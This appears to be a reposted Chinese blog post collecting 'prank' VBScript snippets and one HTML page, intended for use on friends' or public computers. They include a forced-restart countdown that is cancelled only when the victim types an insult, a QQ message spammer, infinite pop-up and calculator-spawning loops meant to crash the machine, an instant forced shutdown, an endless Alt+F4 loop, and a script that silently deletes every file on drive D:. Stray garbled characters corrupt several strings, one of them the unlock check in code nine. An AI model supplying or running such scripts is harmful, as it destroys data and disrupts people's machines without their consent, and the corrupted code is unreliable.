dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell"哪败)
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试祥此···"" ",0 ,true
dim a
do while(a <>"我是猪")
a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不谨缓迅说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真过瘾"
01【代码一】
你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面祥嫌代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可)。
代码如下:
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("与 xx 聊天中")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
02【代码二】
我就用这个程序放在学校图书馆查询书刊的机器上,好多人都拿它没办法。
do
msgbox "You are foolish!"
loop
03【代码三】
打开无数个计算器,直到死机。
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
04【代码四】
直接关机。
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
05【代码五】
删除D:\所有文件。
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
06【代码六】
不断d出窗口
while(1)
msgbox "哈哈 你被耍了!"
loop
07【代码七】
不断按下alt+f4(开什么都关闭)。
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
08【代码八】
按500次回车 (以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ,500可以随意更改)。
dim s
do until s=500
s=s+1
msgbox "哥们,给我按500次回车吧"喊中,64
loop
09【代码九】
如果把他发给你的QQ好友 他不懂的话 如果不输我是猪 电脑就会在你设定的
时间内关机 我设置的是3分钟 只要输入就解除了 当然如果不输的话也有解除的办法。代码如下:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪,不说我是猪就一分钟关机,不信,试下···"" ",0 ,true
dim a
do while(a <>"我是谨渗手猪")
a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,好乖"
10【代码十】
网页整人效果代码,想看效果,只要复制这下面的所有代码保存在text文件里,修改文件后缀为txt就能看到效果了。
<html>
<head>
<meta http-equiv="Content-Type" content="text/htmlcharset=gb2312">
<title>网页特效|Linkweb.cn/Js|---很恶心的常见整人效果</title>
</head>
<body>
<a href="" onMouseover="alert('为什么把鼠标放到这里?')
alert('我不是说过不可以这样吗?')
alert('你把我的话当什么了?')
alert('你知道错了吗?')
alert('什么?你居然....')
alert('居然还没意识到自己做错了?')
alert('那好,你要为此付出代价!')
alert('我要你在这里点足一千下......')
alert('什么?你开始有点后悔了?')
alert('何必呢?')
alert('你当初干什么去了?')
alert('不原谅你!')
alert('好从现在开始再点995下......')
alert('你的手开始累了吗?')
alert('什么?你已经没力气了?')
alert('你一直在求我原谅你啊!')
alert('看来你是真的知道错了!')
alert('下次你还会这么做吗?')
alert('真的不会了?')
alert('那好,今天就放你一马!')
alert('写封信给我说声对不起!')
alert('你能这么做我很高兴!!!')
document.bgColor='black'
document.fgColor='White'
window.location.href='mailto:mygod@god?subject=对不起,下次不敢了!'">不许把鼠标移到这里</a>
</body>
</html>
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)